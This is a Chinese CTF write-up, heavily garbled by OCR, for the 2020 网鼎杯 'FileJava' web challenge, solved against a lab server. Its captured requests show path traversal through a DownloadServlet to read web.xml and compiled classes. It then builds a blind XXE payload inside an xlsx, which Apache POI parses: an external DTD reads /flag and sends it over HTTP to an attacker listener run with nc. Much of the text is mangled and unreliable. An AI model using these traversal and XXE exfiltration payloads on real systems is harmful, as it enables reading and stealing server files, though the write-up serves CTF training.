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(1) HEFEWENY, ¥—FHMHAEE: /UploadServiet.

<html>
<head>
<title>Test</titles
<meta charset="UTF-8">
</head>
<body>
<form action="./UploadServlet"” method="post" enctype="multipart/form-data™>
<input type="file" name="file"/>
<input type="submit" walue="submit"/>
</form>
</body>
</html>

(2) BB E ZWRMEFIFE . /UploadServiethf & JFiX & —MNJAVAREFF, (HEUUER Vi /robots.txt, REREZES.

&« C © © & 192.168.75.128:8083/file_in_java/robots.txt
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m Status Report
EEE]_ [file_in_java/robots.txt
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Raw | Headers | Hex HTMLTReHder Grep

POST /file_in_java/UploadServiet HTTP/1.1

Host: 192.168.75.128:8083

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv.76.0)
Gecko/20100101 Firefox/76.0

Accept:
text/html,application/xhtmi+xml,application/xml;q=0.9,image/webp,*/*q=0.8
Accept-Language:
zh-CN,zh,q=0.8,zh-TW,q=0.7,zh-HK;q=05,en-US;q=03,en,q=0.2
Accept-Encoding: gzip, deflate

HTTP/1.1 200

Connection: close

<IDOCTYPE html>
Content-Type: multipart/form-data; <html>
boundary=s-s=s=sssrmramamnmmrnnannn 191259129421437112711957274219
Content-Length: 119373

Origin: http://192.168.75.128:8083

Connection: close

Referer: http://192.168.75.128:8083/flle_in_java/

Cookie: JSESSIONID=D9948F5FCE24T9F2D25E4E5A5657CF29
Upgrade-Insecure-Requests: 1

<head >

</head>
<body>

----------------------------- 191259129421437112711957274219
Content-Disposition: form-data; name="file"; filename="dog.png"
Content-Type: image/png

</body>
</html>

i EfERRTN! <br >

Content-Type: text/htm|;charset=UTF-8
Content-Length: 274
Date: Thu, 14 May 2020 09:41:29 GMT

<title>Test</title>
<meta charset="UTF-8">

N

TEithht: <a href="/DownloadServiet?filename=a6c672¢9-a74c-4701-abfc-97d68e3c681d_dog.png”>dog.png</a>
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GET /file_in_java/DownloadServiet?filename=./ HTTP/1.1 : Connection: close
Host: 192.168.75.128:8083
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; n.76.0) Gecko/20100101 <ldoctype html><html lang="zh"> <head> <title>HTTP Status 500 — Internal Server
Firefox/76.0 Error</title> <style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1,
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*,q=0.8 h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2
Accept-Language: zh-CN,zhjgq=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line
Accept-Encoding: gzip, deflate {height:1px;background-color:#525D76;border:none;} </style> </head> <body><h1>H
Connection: close TTP Status 500 — Internal Server Error</h1><hr class="line" /><p><b>Type</b>
Referer: http://192.168.75.128:8083/file_in_java/UploadServiet FERE </p><p><b>HB</b>
Cookie: JSESSIONID=D9948F5FCE24T9F2D25E4E5A5657CF29 8#4T,usr&#47;local &#47,tomcatd&#47,webapps&#47file_in_javal#47,WEB-INF&#47;
Upgrade-Insecure-Requests: 1 upload&#4T;158#47,68#47;.. (Is a directory)</p><p><b>3fif</b>
— s . </p><p><b>Exception</b></p><pre
>java.io.FileNotFoundException:
&#4Tusr&#47;local&#4T;tomcat8#47;webapps&#47;file_in_java8#47,WEB-INF&#47;
upload&#47;158#47,68#47;.. (Is a directory)
java.io.FilelnputStream.open0(Native Method)
java.io.FilelnputStream.open(FilelnputStream.java:195)
java.io FilelnputStream.&It;init&gt;(FilelnputStream.java:138)
java.io.FilelnputStream.&It;init&gt; (FilelnputStream.java:93)
cn.abc.serviet.DownloadServlet.doPost(DownloadServlet.java:43)
cn.abc.servlet.DownloadServlet.doGet(DownloadServlet.java:22)
L javax.servlet.http.HttpServlet.service(HttpServletjava: 34}

(5) XAfFEERIT+AIEomcat 51 517, 5 — 118 2 2 & FWEB-INF/neb.xml,
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Request Response
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GET A <web-app xmins="http://xminsjcp.org/xml/ns/javaee"”

ffile_in_java/DownloadServiet?filename=.././././././././ ./usr/local ftomcat/webapps/fil
e_in_java/WEB-INF/web.xml HTTP/1.1

Host: 192.168.75.128:8083

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rn.76.0) Gecko,/20100101
Firefox/76.0

xminsixsi="http://www.w3.org/2001/XMLSchema-instance”
xsi:schemalocation="http://xmInsjcp.org/xml/ns/javaee http://xmlr
version="4.0">

<serviet=
<servlet-name >DownloadServlet</serviet-name>



Accept: text/html,application/xhtml+xmlapplication/xml;q=0.9,image/webp,”/*q=0.8 <servlet-class»cn.abc.servlet.DownloadServiet</servlet-class>

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 </servlet>
Accept-Encoding: gzip, deflate
Connection: close <servlet-mapping >
Referer: http://192.168.75.128:8083/file_in_java/UploadServiet <servlet-name>DownloadServlet</serviet-name>
Cookie: JSESSIONID=D9948F5FCE2479F2D25E4E5A5657CF29 <url-pattern=/DownloadServlet</url-pattern=
Upgrade-Insecure-Requests: 1 </servlet-mapping>

<serviet=

<servlet-name > ListFileServiet</serviet-name>
<servlet-class=cn.abc.serviet.ListFileServlet</serviet-class>
<fserviet>

<serviet-mapping>
<servlet-name>ListFileServlet</serviet-name>
<url-pattern=/ListFileServlet</url-pattern=
</servlet-mapping>

<serviet=
<servlet-name >UploadServlet</servlet-name>
<servlet-class=cn.abc.servlet.UploadServiet</serviet-class>
<fservlet>

<servlet-mapping>
<servlet-name >UploadServlet</serviet-name:
<url-pattern>/UploadServlet</url-pattern=
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(6) WA E ST, #iE.class3C 4% : WEB-INF/classes/cn/abc/serviet/; $R)5 T =4 class3C {4

DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc
/servlet/DownloadServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc
/servlet/ListFileServlet.class
DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc
/servlet/UploadServlet.class



(7) 8 Hjd-gui-1.6.6 jarit 4T & 40 1%

D DownloadServletclass 2020/5/13 15:48
D DownloadServietjava 2020/5/13 15:55
& jd-gui-1.6.6jar 2020/5/13 15:54
D ListFileServlet.class 2020/5/13 15:49
D ListFileServietjava 2020/5/13 15:55
D UploadServiet.class 2020/5/13 15:50
D UploadServietjava 2020/5/13 15:55

(8) M EJFIY
DownloadServiet.javaid #Eflag 8t 74 1k T %

i% (fileNamé = nuil && fileName.toLowerCése(}.contains("flag"}} {
request.setAttribute ("message"™, "zim");
request.getRequestDispatcher (" /message.jsp") . forward((ServletRequest) request,
return;

}

UploadServietjava# Xfexcel-*** xisx3C {4 K W, J5 & Apache POI XMLAMEB &I (%)

if (filename.startsWith("excel-") && "xlsx".equals(fileExtName))

try {
Workbook wbl = WorkbookFactory.create(in) ;
Sheet sheet = wbl.getSheetAt(0);
System.out.println(sheet.getFirstRowNum()) ;

} ecatch (InvalidFormatException e) {
System.err.println{("poi-coxml-3.10 has something wrong") ;
e.printStackTrace () ;

(9) ik FL et
@ B, Athblexcelaaaxlsx3Cith, 48R E

[trash] 2020/5/14 9:06
_rels 2020/5/14 9:06
docProps 2020/5/14 9:06
x| 2020/5/14 9:06

L] [Content_Types] xml 2020/5/14 9:11

@ % [Content_Types].xml, TE<?xml version="1.0" encoding="UTF-8" standalone="yes"?>5<Types
xmins=“http://schemas.openxmiformats.org/package/2006/content-types”> 2 8] s i I 25 :

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ZmfER%E2IP/file.dtd">
%remote;%int;%send;

1>

CLASS XZft
JAVA 325
JAR 3Z{F
CLASS 32
JAVA 325
CLASS 32
JAVA 325

(Servlett


https://www.jianshu.com/p/73cd11d83c30

® BhnESE X Nexcel-aaa.xlsx

HNEIESEE X
EEE(A): C\Users\zanbi\Desktop\M&Rf\excel-aaa)
| excel-aaaxlsx w |
() zip v| EFAHU): MR v|
EmS(L): R v miEs mnmE v
A (M) | Deflate - | ST
iz A EX)
=s70(D): 32KB v |
[ Emstmse
A W): 32 v [stemmenmsmss
Bl iE A v
e
CPU i 12 v j12 GAER:
FEBAAENTE: 387 MB
BEEAEAE: 2MB
FExN, FHV):
| | ErEE(s)
hvs
mERH: ZipCrypto v
88(B):
| [
mE B o 16ih

(10) HigEEfE

O HNTERESIRWEBR B3, QI Hfle.did, HmIIHZE:

<IENTITY % file SYSTEM "file:///flag">

<IENTITY % int "<!ENTITY &#37; send SYSTEM 'http://0.0.0.0:7777?popko=%file; " '>">



@ Bzh¥d%E . nc-wp 7777
(11) —VIEERieE, LiEexcel-aaaxisx3C 4

<« c ﬁ‘r © & 192.168.75.128:8083/fle_in_java/
excel-aaa.xlsx submit

BEEnCKHITER, H3fag

listening on [any]l 7777 ...

CUTLETILOVC+ inverse host lookup failed: Unknown host

connect to [172.17.8.14] from (UNKNOWN) [@Q0wigviid«3] 29715

GET /?popko=ctftraining{wdb_2820_web_ginglong_filejava} HTTP/1.1
Cache-Control: no-cache

Pragma: no-cache

User-Agent: Java/1.8.8_212

Hﬂst: 41.‘qu.u1.g}3:7?7?

Accept: text/html, image/gif, image/jpeg, *; g=.2, %/%; g=.2
Connection: keep—alive
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	[CTF]网鼎杯2020-青龙组-Web-FileJava-WriteUp
	一、赛题截图
	二、做题思路
	三、总结


